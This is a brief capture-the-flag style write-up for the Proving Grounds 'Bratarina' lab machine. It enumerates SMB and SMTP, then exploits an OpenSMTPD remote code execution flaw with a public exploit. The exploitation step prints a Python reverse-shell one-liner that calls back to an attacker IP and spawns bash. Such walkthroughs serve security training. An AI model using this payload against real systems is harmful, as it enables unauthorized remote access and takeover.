> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/warm-up/bratarina.md).

# Bratarina

## Service Enumeration

`nmapAutomator.sh -H 192.168.163.71 -t full`

`nmapAutomator.sh -H 192.168.163.71 -t vulns`

![](/files/-Mad9a7NcvikwqyMqgYO)

### Samba

Null SMB sessions are allowed.

![](/files/-Mad9dbZcq8x3Ke2J82C)

There is a `backups` share.

![](/files/-Mad9huFIdAEhJBznjuA)

### SMTP

OpenSMTP 2.0.0 is used.

![](/files/-Mad9maOuC6MdVYvwVhs)

## Exploitation

This is vulnerable to an RCE vulnerability: <https://www.exploit-db.com/exploits/47984>

`python3 47984.py 192.168.163.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.163\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'`

We receive a reverse shell:

![](/files/-Mad9uUBotPNp2Er43xH)

Proof:

![](/files/-MadD0vuLUaQ1OjDrE4v)